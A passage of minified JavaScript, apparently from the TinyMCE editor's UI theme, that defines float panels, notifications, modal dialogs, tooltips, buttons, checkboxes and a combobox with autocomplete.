this.resizeTo(n.w+e,n.h+t)}},bt=[],yt=[];function xt(e,t){for(;e;){if(e===t)return!0;e=e.parent()}}function wt(){dt||(dt=function(e){2!==e.button&&function(e){for(var t=bt.length;t--;){var n=bt[t],i=n.getParentCtrl(e.target);if(n.settings.autohide){if(i&&(xt(i,n)||n.parent()===i))continue;(e=n.fire("autohide",{target:e.target})).isDefaultPrevented()||n.hide()}}}(e)},ye(_.document).on("click touchstart",dt))}function _t(r){var e=we.getViewPort().y;function t(e,t){for(var n,i=0;i<bt.length;i++)if(bt[i]!==r)for(n=bt[i].parent();n&&(n=n.parent());)n===r&&bt[i].fixed(e).moveBy(0,t).repaint()}r.settings.autofix&&(r.state.get("fixed")?r._autoFixY>e&&(r.fixed(!1).layoutRect({y:r._autoFixY}).repaint(),t(!1,r._autoFixY-e)):(r._autoFixY=r.layoutRect().y,r._autoFixY<e&&(r.fixed(!0).layoutRect({y:0}).repaint(),t(!0,e-r._autoFixY))))}function Rt(e,t){var n,i,r=Ct.zIndex||65535;if(e)yt.push(t);else for(n=yt.length;n--;)yt[n]===t&&yt.splice(n,1);if(yt.length)for(n=0;n<yt.length;n++)yt[n].modal&&(r++,i=yt[n]),yt[n].getEl().style.zIndex=r,yt[n].zIndex=r,r++;var o=ye("#"+t.classPrefix+"modal-block",t.getContainerElm())[0];i?ye(o).css("z-index",i.zIndex-1):o&&(o.parentNode.removeChild(o),mt=!1),Ct.currentZIndex=r}var Ct=pt.extend({Mixins:[He,vt],init:function(e){var i=this;i._super(e),(i._eventsRoot=i).classes.add("floatpanel"),e.autohide&&(wt(),function(){if(!ht){var e=_.document.documentElement,t=e.clientWidth,n=e.clientHeight;ht=function(){_.document.all&&t===e.clientWidth&&n===e.clientHeight||(t=e.clientWidth,n=e.clientHeight,Ct.hideAll())},ye(_.window).on("resize",ht)}}(),bt.push(i)),e.autofix&&(ft||(ft=function(){var e;for(e=bt.length;e--;)_t(bt[e])},ye(_.window).on("scroll",ft)),i.on("move",function(){_t(this)})),i.on("postrender show",function(e){if(e.control===i){var t,n=i.classPrefix;i.modal&&!mt&&((t=ye("#"+n+"modal-block",i.getContainerElm()))[0]||(t=ye('<div id="'+n+'modal-block" class="'+n+"reset "+n+'fade"></div>').appendTo(i.getContainerElm())),u.setTimeout(function(){t.addClass(n+"in"),ye(i.getEl()).addClass(n+"in")}),mt=!0),Rt(!0,i)}}),i.on("show",function(){i.parents().each(function(e){if(e.state.get("fixed"))return i.fixed(!0),!1})}),e.popover&&(i._preBodyHtml='<div class="'+i.classPrefix+'arrow"></div>',i.classes.add("popover").add("bottom").add(i.isRtl()?"end":"start")),i.aria("label",e.ariaLabel),i.aria("labelledby",i._id),i.aria("describedby",i.describedBy||i._id+"-none")},fixed:function(e){var t=this;if(t.state.get("fixed")!==e){if(t.state.get("rendered")){var n=we.getViewPort();e?t.layoutRect().y-=n.y:t.layoutRect().y+=n.y}t.classes.toggle("fixed",e),t.state.set("fixed",e)}return t},show:function(){var e,t=this._super();for(e=bt.length;e--&&bt[e]!==this;);return-1===e&&bt.push(this),t},hide:function(){return Et(this),Rt(!1,this),this._super()},hideAll:function(){Ct.hideAll()},close:function(){return this.fire("close").isDefaultPrevented()||(this.remove(),Rt(!1,this)),this},remove:function(){Et(this),this._super()},postRender:function(){return this.settings.bodyRole&&this.getEl("body").setAttribute("role",this.settings.bodyRole),this._super()}});function Et(e){var t;for(t=bt.length;t--;)bt[t]===e&&bt.splice(t,1);for(t=yt.length;t--;)yt[t]===e&&yt.splice(t,1)}Ct.hideAll=function(){for(var e=bt.length;e--;){var t=bt[e];t&&t.settings.autohide&&(t.hide(),bt.splice(e,1))}};var kt=function(s,n,e){var a,i,l=p.DOM,t=s.getParam("fixed_toolbar_container");t&&(i=l.select(t)[0]);var r=function(){if(a&&a.moveRel&&a.visible()&&!a._fixed){var e=s.selection.getScrollContainer(),t=s.getBody(),n=0,i=0;if(e){var r=l.getPos(t),o=l.getPos(e);n=Math.max(0,o.x-r.x),i=Math.max(0,o.y-r.y)}a.fixed(!1).moveRel(t,s.rtl?["tr-br","br-tr"]:["tl-bl","bl-tl","tr-br"]).moveBy(n,i)}},o=function(){a&&(a.show(),r(),l.addClass(s.getBody(),"mce-edit-focus"))},u=function(){a&&(a.hide(),Ct.hideAll(),l.removeClass(s.getBody(),"mce-edit-focus"))},c=function(){var e,t;a?a.visible()||o():(a=n.panel=v.create({type:i?"panel":"floatpanel",role:"application",classes:"tinymce tinymce-inline",layout:"flex",direction:"column",align:"stretch",autohide:!1,autofix:!0,fixed:(e=i,t=s,!(!e||t.settings.ui_container)),border:1,items:[!1===d(s)?null:{type:"menubar",border:"0 0 1 0",items:re(s)},A(s,f(s))]}),W.setUiContainer(s,a),x(s),i?a.renderTo(i).reflow():a.renderTo().reflow(),R(s,a),o(),F(s),s.on("nodeChange",r),s.on("ResizeWindow",r),s.on("activate",o),s.on("deactivate",u),s.nodeChanged())};return s.settings.content_editable=!0,s.on("focus",function(){!1===m(s)&&e.skinUiCss?l.styleSheetLoader.load(e.skinUiCss,c,c):c()}),s.on("blur hide",u),s.on("remove",function(){a&&(a.remove(),a=null)}),!1===m(s)&&e.skinUiCss?l.styleSheetLoader.load(e.skinUiCss,ge(s)):ge(s)(),{}};function Ht(i,r){var o,s,a=this,l=rt.classPrefix;a.show=function(e,t){function n(){o&&(ye(i).append('<div class="'+l+"throbber"+(r?" "+l+"throbber-inline":"")+'"></div>'),t&&t())}return a.hide(),o=!0,e?s=u.setTimeout(n,e):n(),a},a.hide=function(){var e=i.lastChild;return u.clearTimeout(s),e&&-1!==e.className.indexOf("throbber")&&e.parentNode.removeChild(e),o=!1,a}}var St=function(e,t){var n;e.on("ProgressState",function(e){n=n||new Ht(t.panel.getEl("body")),e.state?n.show(e.time):n.hide()})},Tt=function(e,t,n){var i=function(e){var t=e.settings,n=t.skin,i=t.skin_url;if(!1!==n){var r=n||"lightgray";i=i?e.documentBaseURI.toAbsolute(i):l.baseURL+"/skins/"+r}return i}(e);return i&&(n.skinUiCss=i+"/skin.min.css",e.contentCSS.push(i+"/content"+(e.inline?".inline":"")+".min.css")),St(e,t),e.getParam("inline",!1,"boolean")?kt(e,t,n):be(e,t,n)},Mt=rt.extend({Mixins:[He],Defaults:{classes:"widget tooltip tooltip-n"},renderHtml:function(){var e=this,t=e.classPrefix;return'<div id="'+e._id+'" class="'+e.classes+'" role="presentation"><div class="'+t+'tooltip-arrow"></div><div class="'+t+'tooltip-inner">'+e.encode(e.state.get("text"))+"</div></div>"},bindStates:function(){var t=this;return t.state.on("change:text",function(e){t.getEl().lastChild.innerHTML=t.encode(e.value)}),t._super()},repaint:function(){var e,t;e=this.getEl().style,t=this._layoutRect,e.left=t.x+"px",e.top=t.y+"px",e.zIndex=131070}}),Nt=rt.extend({init:function(i){var r=this;r._super(i),i=r.settings,r.canFocus=!0,i.tooltip&&!1!==Nt.tooltips&&(r.on("mouseenter",function(e){var t=r.tooltip().moveTo(-65535);if(e.control===r){var n=t.text(i.tooltip).show().testMoveRel(r.getEl(),["bc-tc","bc-tl","bc-tr"]);t.classes.toggle("tooltip-n","bc-tc"===n),t.classes.toggle("tooltip-nw","bc-tl"===n),t.classes.toggle("tooltip-ne","bc-tr"===n),t.moveRel(r.getEl(),n)}else t.hide()}),r.on("mouseleave mousedown click",function(){r.tooltip().remove(),r._tooltip=null})),r.aria("label",i.ariaLabel||i.tooltip)},tooltip:function(){return this._tooltip||(this._tooltip=new Mt({type:"tooltip"}),W.inheritUiContainer(this,this._tooltip),this._tooltip.renderTo()),this._tooltip},postRender:function(){var e=this,t=e.settings;e._super(),e.parent()||!t.width&&!t.height||(e.initLayoutRect(),e.repaint()),t.autofocus&&e.focus()},bindStates:function(){var t=this;function n(e){t.aria("disabled",e),t.classes.toggle("disabled",e)}function i(e){t.aria("pressed",e),t.classes.toggle("active",e)}return t.state.on("change:disabled",function(e){n(e.value)}),t.state.on("change:active",function(e){i(e.value)}),t.state.get("disabled")&&n(!0),t.state.get("active")&&i(!0),t._super()},remove:function(){this._super(),this._tooltip&&(this._tooltip.remove(),this._tooltip=null)}}),Pt=Nt.extend({Defaults:{value:0},init:function(e){this._super(e),this.classes.add("progress"),this.settings.filter||(this.settings.filter=function(e){return Math.round(e)})},renderHtml:function(){var e=this._id,t=this.classPrefix;return'<div id="'+e+'" class="'+this.classes+'"><div class="'+t+'bar-container"><div class="'+t+'bar"></div></div><div class="'+t+'text">0%</div></div>'},postRender:function(){return this._super(),this.value(this.settings.value),this},bindStates:function(){var t=this;function n(e){e=t.settings.filter(e),t.getEl().lastChild.innerHTML=e+"%",t.getEl().firstChild.firstChild.style.width=e+"%"}return t.state.on("change:value",function(e){n(e.value)}),n(t.state.get("value")),t._super()}}),Wt=function(e,t){e.getEl().lastChild.textContent=t+(e.progressBar?" "+e.progressBar.value()+"%":"")},Dt=rt.extend({Mixins:[He],Defaults:{classes:"widget notification"},init:function(e){var t=this;t._super(e),t.maxWidth=e.maxWidth,e.text&&t.text(e.text),e.icon&&(t.icon=e.icon),e.color&&(t.color=e.color),e.type&&t.classes.add("notification-"+e.type),e.timeout&&(e.timeout<0||0<e.timeout)&&!e.closeButton?t.closeButton=!1:(t.classes.add("has-close"),t.closeButton=!0),e.progressBar&&(t.progressBar=new Pt),t.on("click",function(e){-1!==e.target.className.indexOf(t.classPrefix+"close")&&t.close()})},renderHtml:function(){var e,t=this,n=t.classPrefix,i="",r="",o="";return t.icon&&(i='<i class="'+n+"ico "+n+"i-"+t.icon+'"></i>'),e=' style="max-width: '+t.maxWidth+"px;"+(t.color?"background-color: "+t.color+';"':'"'),t.closeButton&&(r='<button type="button" class="'+n+'close" aria-hidden="true">\xd7</button>'),t.progressBar&&(o=t.progressBar.renderHtml()),'<div id="'+t._id+'" class="'+t.classes+'"'+e+' role="presentation">'+i+'<div class="'+n+'notification-inner">'+t.state.get("text")+"</div>"+o+r+'<div style="clip: rect(1px, 1px, 1px, 1px);height: 1px;overflow: hidden;position: absolute;width: 1px;" aria-live="assertive" aria-relevant="additions" aria-atomic="true"></div></div>'},postRender:function(){var e=this;return u.setTimeout(function(){e.$el.addClass(e.classPrefix+"in"),Wt(e,e.state.get("text"))},100),e._super()},bindStates:function(){var t=this;return t.state.on("change:text",function(e){t.getEl().firstChild.innerHTML=e.value,Wt(t,e.value)}),t.progressBar&&(t.progressBar.bindStates(),t.progressBar.state.on("change:value",function(e){Wt(t,t.state.get("text"))})),t._super()},close:function(){return this.fire("close").isDefaultPrevented()||this.remove(),this},repaint:function(){var e,t;e=this.getEl().style,t=this._layoutRect,e.left=t.x+"px",e.top=t.y+"px",e.zIndex=65534}});function Ot(o){var s=function(e){return e.inline?e.getElement():e.getContentAreaContainer()};return{open:function(e,t){var n,i=w.extend(e,{maxWidth:(n=s(o),we.getSize(n).width)}),r=new Dt(i);return 0<(r.args=i).timeout&&(r.timer=setTimeout(function(){r.close(),t()},i.timeout)),r.on("close",function(){t()}),r.renderTo(),r},close:function(e){e.close()},reposition:function(e){K(e,function(e){e.moveTo(0,0)}),function(n){if(0<n.length){var e=n.slice(0,1)[0],t=s(o);e.moveRel(t,"tc-tc"),K(n,function(e,t){0<t&&e.moveRel(n[t-1].getEl(),"bc-tc")})}}(e)},getArgs:function(e){return e.args}}}var At=[],Bt="";function Lt(e){var t,n=ye("meta[name=viewport]")[0];!1!==ce.overrideViewPort&&(n||((n=_.document.createElement("meta")).setAttribute("name","viewport"),_.document.getElementsByTagName("head")[0].appendChild(n)),(t=n.getAttribute("content"))&&void 0!==Bt&&(Bt=t),n.setAttribute("content",e?"width=device-width,initial-scale=1.0,user-scalable=0,minimum-scale=1.0,maximum-scale=1.0":Bt))}function zt(e,t){(function(){for(var e=0;e<At.length;e++)if(At[e]._fullscreen)return!0;return!1})()&&!1===t&&ye([_.document.documentElement,_.document.body]).removeClass(e+"fullscreen")}var It=Ct.extend({modal:!0,Defaults:{border:1,layout:"flex",containerCls:"panel",role:"dialog",callbacks:{submit:function(){this.fire("submit",{data:this.toJSON()})},close:function(){this.close()}}},init:function(e){var n=this;n._super(e),n.isRtl()&&n.classes.add("rtl"),n.classes.add("window"),n.bodyClasses.add("window-body"),n.state.set("fixed",!0),e.buttons&&(n.statusbar=new pt({layout:"flex",border:"1 0 0 0",spacing:3,padding:10,align:"center",pack:n.isRtl()?"start":"end",defaults:{type:"button"},items:e.buttons}),n.statusbar.classes.add("foot"),n.statusbar.parent(n)),n.on("click",function(e){var t=n.classPrefix+"close";(we.hasClass(e.target,t)||we.hasClass(e.target.parentNode,t))&&n.close()}),n.on("cancel",function(){n.close()}),n.on("move",function(e){e.control===n&&Ct.hideAll()}),n.aria("describedby",n.describedBy||n._id+"-none"),n.aria("label",e.title),n._fullscreen=!1},recalc:function(){var e,t,n,i,r=this,o=r.statusbar;r._fullscreen&&(r.layoutRect(we.getWindowSize()),r.layoutRect().contentH=r.layoutRect().innerH),r._super(),e=r.layoutRect(),r.settings.title&&!r._fullscreen&&(t=e.headerW)>e.w&&(n=e.x-Math.max(0,t/2),r.layoutRect({w:t,x:n}),i=!0),o&&(o.layoutRect({w:r.layoutRect().innerW}).recalc(),(t=o.layoutRect().minW+e.deltaW)>e.w&&(n=e.x-Math.max(0,t-e.w),r.layoutRect({w:t,x:n}),i=!0)),i&&r.recalc()},initLayoutRect:function(){var e,t=this,n=t._super(),i=0;if(t.settings.title&&!t._fullscreen){e=t.getEl("head");var r=we.getSize(e);n.headerW=r.width,n.headerH=r.height,i+=n.headerH}t.statusbar&&(i+=t.statusbar.layoutRect().h),n.deltaH+=i,n.minH+=i,n.h+=i;var o=we.getWindowSize();return n.x=t.settings.x||Math.max(0,o.w/2-n.w/2),n.y=t.settings.y||Math.max(0,o.h/2-n.h/2),n},renderHtml:function(){var e=this,t=e._layout,n=e._id,i=e.classPrefix,r=e.settings,o="",s="",a=r.html;return e.preRender(),t.preRender(e),r.title&&(o='<div id="'+n+'-head" class="'+i+'window-head"><div id="'+n+'-title" class="'+i+'title">'+e.encode(r.title)+'</div><div id="'+n+'-dragh" class="'+i+'dragh"></div><button type="button" class="'+i+'close" aria-hidden="true"><i class="mce-ico mce-i-remove"></i></button></div>'),r.url&&(a='<iframe src="'+r.url+'" tabindex="-1"></iframe>'),void 0===a&&(a=t.renderHtml(e)),e.statusbar&&(s=e.statusbar.renderHtml()),'<div id="'+n+'" class="'+e.classes+'" hidefocus="1"><div class="'+e.classPrefix+'reset" role="application">'+o+'<div id="'+n+'-body" class="'+e.bodyClasses+'">'+a+"</div>"+s+"</div></div>"},fullscreen:function(e){var n,t,i=this,r=_.document.documentElement,o=i.classPrefix;if(e!==i._fullscreen)if(ye(_.window).on("resize",function(){var e;if(i._fullscreen)if(n)i._timer||(i._timer=u.setTimeout(function(){var e=we.getWindowSize();i.moveTo(0,0).resizeTo(e.w,e.h),i._timer=0},50));else{e=(new Date).getTime();var t=we.getWindowSize();i.moveTo(0,0).resizeTo(t.w,t.h),50<(new Date).getTime()-e&&(n=!0)}}),t=i.layoutRect(),i._fullscreen=e){i._initial={x:t.x,y:t.y,w:t.w,h:t.h},i.borderBox=Me("0"),i.getEl("head").style.display="none",t.deltaH-=t.headerH+2,ye([r,_.document.body]).addClass(o+"fullscreen"),i.classes.add("fullscreen");var s=we.getWindowSize();i.moveTo(0,0).resizeTo(s.w,s.h)}else i.borderBox=Me(i.settings.border),i.getEl("head").style.display="",t.deltaH+=t.headerH,ye([r,_.document.body]).removeClass(o+"fullscreen"),i.classes.remove("fullscreen"),i.moveTo(i._initial.x,i._initial.y).resizeTo(i._initial.w,i._initial.h);return i.reflow()},postRender:function(){var t,n=this;setTimeout(function(){n.classes.add("in"),n.fire("open")},0),n._super(),n.statusbar&&n.statusbar.postRender(),n.focus(),this.dragHelper=new ct(n._id+"-dragh",{start:function(){t={x:n.layoutRect().x,y:n.layoutRect().y}},drag:function(e){n.moveTo(t.x+e.deltaX,t.y+e.deltaY)}}),n.on("submit",function(e){e.isDefaultPrevented()||n.close()}),At.push(n),Lt(!0)},submit:function(){return this.fire("submit",{data:this.toJSON()})},remove:function(){var e,t=this;for(t.dragHelper.destroy(),t._super(),t.statusbar&&this.statusbar.remove(),zt(t.classPrefix,!1),e=At.length;e--;)At[e]===t&&At.splice(e,1);Lt(0<At.length)},getContentWindow:function(){var e=this.getEl().getElementsByTagName("iframe")[0];return e?e.contentWindow:null}});!function(){if(!ce.desktop){var n={w:_.window.innerWidth,h:_.window.innerHeight};u.setInterval(function(){var e=_.window.innerWidth,t=_.window.innerHeight;n.w===e&&n.h===t||(n={w:e,h:t},ye(_.window).trigger("resize"))},100)}ye(_.window).on("resize",function(){var e,t,n=we.getWindowSize();for(e=0;e<At.length;e++)t=At[e].layoutRect(),At[e].moveTo(At[e].settings.x||Math.max(0,n.w/2-t.w/2),At[e].settings.y||Math.max(0,n.h/2-t.h/2))})}();var Ft,Ut,Vt,Yt=It.extend({init:function(e){e={border:1,padding:20,layout:"flex",pack:"center",align:"center",containerCls:"panel",autoScroll:!0,buttons:{type:"button",text:"Ok",action:"ok"},items:{type:"label",multiline:!0,maxWidth:500,maxHeight:200}},this._super(e)},Statics:{OK:1,OK_CANCEL:2,YES_NO:3,YES_NO_CANCEL:4,msgBox:function(e){var t,i=e.callback||function(){};function n(e,t,n){return{type:"button",text:e,subtype:n?"primary":"",onClick:function(e){e.control.parents()[1].close(),i(t)}}}switch(e.buttons){case Yt.OK_CANCEL:t=[n("Ok",!0,!0),n("Cancel",!1)];break;case Yt.YES_NO:case Yt.YES_NO_CANCEL:t=[n("Yes",1,!0),n("No",0)],e.buttons===Yt.YES_NO_CANCEL&&t.push(n("Cancel",-1));break;default:t=[n("Ok",!0,!0)]}return new It({padding:20,x:e.x,y:e.y,minWidth:300,minHeight:100,layout:"flex",pack:"center",align:"center",buttons:t,title:e.title,role:"alertdialog",items:{type:"label",multiline:!0,maxWidth:500,maxHeight:200,text:e.text},onPostRender:function(){this.aria("describedby",this.items()[0]._id)},onClose:e.onClose,onCancel:function(){i(!1)}}).renderTo(_.document.body).reflow()},alert:function(e,t){return"string"==typeof e&&(e={text:e}),e.callback=t,Yt.msgBox(e)},confirm:function(e,t){return"string"==typeof e&&(e={text:e}),e.callback=t,e.buttons=Yt.OK_CANCEL,Yt.msgBox(e)}}}),$t=function(n){return{renderUI:function(e){return Tt(n,this,e)},resizeTo:function(e,t){return le(n,e,t)},resizeBy:function(e,t){return ue(n,e,t)},getNotificationManagerImpl:function(){return Ot(n)},getWindowManagerImpl:function(){return{open:function(n,e,t){var i;return n.title=n.title||" ",n.url=n.url||n.file,n.url&&(n.width=parseInt(n.width||320,10),n.height=parseInt(n.height||240,10)),n.body&&(n.items={defaults:n.defaults,type:n.bodyType||"form",items:n.body,data:n.data,callbacks:n.commands}),n.url||n.buttons||(n.buttons=[{text:"Ok",subtype:"primary",onclick:function(){i.find("form")[0].submit()}},{text:"Cancel",onclick:function(){i.close()}}]),(i=new It(n)).on("close",function(){t(i)}),n.data&&i.on("postRender",function(){this.find("*").each(function(e){var t=e.name();t in n.data&&e.value(n.data[t])})}),i.features=n||{},i.params=e||{},i=i.renderTo(_.document.body).reflow()},alert:function(e,t,n){var i;return(i=Yt.alert(e,function(){t()})).on("close",function(){n(i)}),i},confirm:function(e,t,n){var i;return(i=Yt.confirm(e,function(e){t(e)})).on("close",function(){n(i)}),i},close:function(e){e.close()},getParams:function(e){return e.params},setParams:function(e,t){e.params=t}}}}},qt=Se.extend({Defaults:{firstControlClass:"first",lastControlClass:"last"},init:function(e){this.settings=w.extend({},this.Defaults,e)},preRender:function(e){e.bodyClasses.add(this.settings.containerClass)},applyClasses:function(e){var t,n,i,r,o=this.settings;t=o.firstControlClass,n=o.lastControlClass,e.each(function(e){e.classes.remove(t).remove(n).add(o.controlClass),e.visible()&&(i||(i=e),r=e)}),i&&i.classes.add(t),r&&r.classes.add(n)},renderHtml:function(e){var t="";return this.applyClasses(e.items()),e.items().each(function(e){t+=e.renderHtml()}),t},recalc:function(){},postRender:function(){},isNative:function(){return!1}}),Xt=qt.extend({Defaults:{containerClass:"abs-layout",controlClass:"abs-layout-item"},recalc:function(e){e.items().filter(":visible").each(function(e){var t=e.settings;e.layoutRect({x:t.x,y:t.y,w:t.w,h:t.h}),e.recalc&&e.recalc()})},renderHtml:function(e){return'<div id="'+e._id+'-absend" class="'+e.classPrefix+'abs-end"></div>'+this._super(e)}}),jt=Nt.extend({Defaults:{classes:"widget btn",role:"button"},init:function(e){var t,n=this;n._super(e),e=n.settings,t=n.settings.size,n.on("click mousedown",function(e){e.preventDefault()}),n.on("touchstart",function(e){n.fire("click",e),e.preventDefault()}),e.subtype&&n.classes.add(e.subtype),t&&n.classes.add("btn-"+t),e.icon&&n.icon(e.icon)},icon:function(e){return arguments.length?(this.state.set("icon",e),this):this.state.get("icon")},repaint:function(){var e,t=this.getEl().firstChild;t&&((e=t.style).width=e.height="100%"),this._super()},renderHtml:function(){var e,t,n=this,i=n._id,r=n.classPrefix,o=n.state.get("icon"),s=n.state.get("text"),a="",l=n.settings;return(e=l.image)?(o="none","string"!=typeof e&&(e=_.window.getSelection?e[0]:e[1]),e=" style=\"background-image: url('"+e+"')\""):e="",s&&(n.classes.add("btn-has-text"),a='<span class="'+r+'txt">'+n.encode(s)+"</span>"),o=o?r+"ico "+r+"i-"+o:"",t="boolean"==typeof l.active?' aria-pressed="'+l.active+'"':"",'<div id="'+i+'" class="'+n.classes+'" tabindex="-1"'+t+'><button id="'+i+'-button" role="presentation" type="button" tabindex="-1">'+(o?'<i class="'+o+'"'+e+"></i>":"")+a+"</button></div>"},bindStates:function(){var o=this,n=o.$,i=o.classPrefix+"txt";function s(e){var t=n("span."+i,o.getEl());e?(t[0]||(n("button:first",o.getEl()).append('<span class="'+i+'"></span>'),t=n("span."+i,o.getEl())),t.html(o.encode(e))):t.remove(),o.classes.toggle("btn-has-text",!!e)}return o.state.on("change:text",function(e){s(e.value)}),o.state.on("change:icon",function(e){var t=e.value,n=o.classPrefix;t=(o.settings.icon=t)?n+"ico "+n+"i-"+o.settings.icon:"";var i=o.getEl().firstChild,r=i.getElementsByTagName("i")[0];t?(r&&r===i.firstChild||(r=_.document.createElement("i"),i.insertBefore(r,i.firstChild)),r.className=t):r&&i.removeChild(r),s(o.state.get("text"))}),o._super()}}),Jt=jt.extend({init:function(e){e=w.extend({text:"Browse...",multiple:!1,accept:null},e),this._super(e),this.classes.add("browsebutton"),e.multiple&&this.classes.add("multiple")},postRender:function(){var n=this,t=we.create("input",{type:"file",id:n._id+"-browse",accept:n.settings.accept});n._super(),ye(t).on("change",function(e){var t=e.target.files;n.value=function(){return t.length?n.settings.multiple?t:t[0]:null},e.preventDefault(),t.length&&n.fire("change",e)}),ye(t).on("click",function(e){e.stopPropagation()}),ye(n.getEl("button")).on("click touchstart",function(e){e.stopPropagation(),t.click(),e.preventDefault()}),n.getEl().appendChild(t)},remove:function(){ye(this.getEl("button")).off(),ye(this.getEl("input")).off(),this._super()}}),Gt=lt.extend({Defaults:{defaultType:"button",role:"group"},renderHtml:function(){var e=this,t=e._layout;return e.classes.add("btn-group"),e.preRender(),t.preRender(e),'<div id="'+e._id+'" class="'+e.classes+'"><div id="'+e._id+'-body">'+(e.settings.html||"")+t.renderHtml(e)+"</div></div>"}}),Kt=Nt.extend({Defaults:{classes:"checkbox",role:"checkbox",checked:!1},init:function(e){var t=this;t._super(e),t.on("click mousedown",function(e){e.preventDefault()}),t.on("click",function(e){e.preventDefault(),t.disabled()||t.checked(!t.checked())}),t.checked(t.settings.checked)},checked:function(e){return arguments.length?(this.state.set("checked",e),this):this.state.get("checked")},value:function(e){return arguments.length?this.checked(e):this.checked()},renderHtml:function(){var e=this,t=e._id,n=e.classPrefix;return'<div id="'+t+'" class="'+e.classes+'" unselectable="on" aria-labelledby="'+t+'-al" tabindex="-1"><i class="'+n+"ico "+n+'i-checkbox"></i><span id="'+t+'-al" class="'+n+'label">'+e.encode(e.state.get("text"))+"</span></div>"},bindStates:function(){var o=this;function t(e){o.classes.toggle("checked",e),o.aria("checked",e)}return o.state.on("change:text",function(e){o.getEl("al").firstChild.data=o.translate(e.value)}),o.state.on("change:checked change:value",function(e){o.fire("change"),t(e.value)}),o.state.on("change:icon",function(e){var t=e.value,n=o.classPrefix;if(void 0===t)return o.settings.icon;t=(o.settings.icon=t)?n+"ico "+n+"i-"+o.settings.icon:"";var i=o.getEl().firstChild,r=i.getElementsByTagName("i")[0];t?(r&&r===i.firstChild||(r=_.document.createElement("i"),i.insertBefore(r,i.firstChild)),r.className=t):r&&i.removeChild(r)}),o.state.get("checked")&&t(!0),o._super()}}),Zt=tinymce.util.Tools.resolve("tinymce.util.VK"),Qt=Nt.extend({init:function(i){var r=this;r._super(i),i=r.settings,r.classes.add("combobox"),r.subinput=!0,r.ariaTarget="inp",i.menu=i.menu||i.values,i.menu&&(i.icon="caret"),r.on("click",function(e){var t=e.target,n=r.getEl();if(ye.contains(n,t)||t===n)for(;t&&t!==n;)t.id&&-1!==t.id.indexOf("-open")&&(r.fire("action"),i.menu&&(r.showMenu(),e.aria&&r.menu.items()[0].focus())),t=t.parentNode}),r.on("keydown",function(e){var t;13===e.keyCode&&"INPUT"===e.target.nodeName&&(e.preventDefault(),r.parents().reverse().each(function(e){if(e.toJSON)return t=e,!1}),r.fire("submit",{data:t.toJSON()}))}),r.on("keyup",function(e){if("INPUT"===e.target.nodeName){var t=r.state.get("value"),n=e.target.value;n!==t&&(r.state.set("value",n),r.fire("autocomplete",e))}}),r.on("mouseover",function(e){var t=r.tooltip().moveTo(-65535);if(r.statusLevel()&&-1!==e.target.className.indexOf(r.classPrefix+"status")){var n=r.statusMessage()||"Ok",i=t.text(n).show().testMoveRel(e.target,["bc-tc","bc-tl","bc-tr"]);t.classes.toggle("tooltip-n","bc-tc"===i),t.classes.toggle("tooltip-nw","bc-tl"===i),t.classes.toggle("tooltip-ne","bc-tr"===i),t.moveRel(e.target,i)}})},statusLevel:function(e){return 0<arguments.length&&this.state.set("statusLevel",e),this.state.get("statusLevel")},statusMessage:function(e){return 0<arguments.length&&this.state.set("statusMessage",e),this.state.get("statusMessage")},showMenu:function(){var e,t=this,n=t.settings;t.menu||((e=n.menu||[]).length?e={type:"menu",items:e}:e.type=e.type||"menu",t.menu=v.create(e).parent(t).renderTo(t.getContainerElm()),t.fire("createmenu"),t.menu.reflow(),t.menu.on("cancel",function(e){e.control===t.menu&&t.focus()}),t.menu.on("show hide",function(e){e.control.items().each(function(e){e.active(e.value()===t.value())})}).fire("show"),t.menu.on("select",function(e){t.value(e.control.value())}),t.on("focusin",function(e){"INPUT"===e.target.tagName.toUpperCase()&&t.menu.hide()}),t.aria("expanded",!0)),t.menu.show(),t.menu.layoutRect({w:t.layoutRect().w}),t.menu.moveRel(t.getEl(),t.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"])},focus:function(){this.getEl("inp").focus()},repaint:function(){var e,t,n=this,i=n.getEl(),r=n.getEl("open"),o=n.layoutRect(),s=0,a=i.firstChild;n.statusLevel()&&"none"!==n.statusLevel()&&(s=parseInt(we.getRuntimeStyle(a,"padding-right"),10)-parseInt(we.getRuntimeStyle(a,"padding-left"),10)),e=r?o.w-we.getSize(r).width-10:o.w-10;var l=_.document;return l.all&&(!l.documentMode||l.documentMode<=8)&&(t=n.layoutRect().h-2+"px"),ye(a).css({width:e-s,lineHeight:t}),n._super(),n},postRender:function(){var t=this;return ye(this.getEl("inp")).on("change",function(e){t.state.set("value",e.target.value),t.fire("change",e)}),t._super()},renderHtml:function(){var e,t,n,i=this,r=i._id,o=i.settings,s=i.classPrefix,a=i.state.get("value")||"",l="",u="";return"spellcheck"in o&&(u+=' spellcheck="'+o.spellcheck+'"'),o.maxLength&&(u+=' maxlength="'+o.maxLength+'"'),o.size&&(u+=' size="'+o.size+'"'),o.subtype&&(u+=' type="'+o.subtype+'"'),n='<i id="'+r+'-status" class="mce-status mce-ico" style="display: none"></i>',i.disabled()&&(u+=' disabled="disabled"'),(e=o.icon)&&"caret"!==e&&(e=s+"ico "+s+"i-"+o.icon),t=i.state.get("text"),(e||t)&&(l='<div id="'+r+'-open" class="'+s+"btn "+s+'open" tabIndex="-1" role="button"><button id="'+r+'-action" type="button" hidefocus="1" tabindex="-1">'+("caret"!==e?'<i class="'+e+'"></i>':'<i class="'+s+'caret"></i>')+(t?(e?" ":"")+t:"")+"</button></div>",i.classes.add("has-open")),'<div id="'+r+'" class="'+i.classes+'"><input id="'+r+'-inp" class="'+s+'textbox" value="'+i.encode(a,!1)+'" hidefocus="1"'+u+' placeholder="'+i.encode(o.placeholder)+'" />'+n+l+"</div>"},value:function(e){return arguments.length?(this.state.set("value",e),this):(this.state.get("rendered")&&this.state.set("value",this.getEl("inp").value),this.state.get("value"))},showAutoComplete:function(e,i){var r=this;if(0!==e.length){r.menu?r.menu.items().remove():r.menu=v.create({type:"menu",classes:"combobox-menu",layout:"flow"}).parent(r).renderTo(),w.each(e,function(e){var t,n;r.menu.add({text:e.title,url:e.previewUrl,match:i,classes:"menu-item-ellipsis",onclick:(t=e.value,n=e.title,function(){r.fire("selectitem",{title:n,value:t})})})}),r.menu.renderNew(),r.hideMenu(),r.menu.on("cancel",function(e){e.control.parent()===r.menu&&(e.stopPropagation(),r.focus(),r.hideMenu())}),r.menu.on("select",function(){r.focus()});var t=r.layoutRect().w;r.menu.layoutRect({w:t,minW:0,maxW:t}),r.menu.repaint(),r.menu.reflow(),r.menu.show(),r.menu.moveRel(r.getEl(),r.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"])}else 